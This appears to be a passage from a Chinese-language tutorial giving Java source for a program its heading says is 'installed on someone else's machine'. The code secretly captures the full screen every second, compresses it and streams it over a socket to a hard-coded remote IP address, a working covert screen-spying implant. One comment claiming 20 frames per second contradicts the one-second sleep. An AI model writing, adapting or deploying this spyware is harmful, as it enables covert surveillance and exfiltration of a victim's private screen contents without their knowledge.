2。在别人机器上安装的程序
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;
public ShellServer() {
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);//可以指定捕获屏幕的区域
try{
robot = new Robot();
}catch(Exception e){
e.printStackTrace();
System.out.println(e);
}
}
public void run(){
ZipOutputStream os = null;
Socket socket=null;
while (true){
try{
socket = new Socket("10.124.10.127",5000);// 连接远程IP
BufferedImage image = robot.createScreenCapture(rectangle);// 捕获制定屏幕矩形区域
os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
// os = new ZipOutputStream(new FileOutputStream("D:/1.zip"));
os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(os).encode(image);//图形编码成JPEG
os.close();
Thread.sleep(1000);//每秒20帧
}catch(Exception e){
e.printStackTrace();
}finally{
if(os!=null){
try{
os.close();
}catch(Exception ioe){}
}
if(socket!=null){
try {
socket.close();
} catch (IOException e) {
}
}
}
}
}
public static void main(String[] args) {
new ShellServer().start();
}
}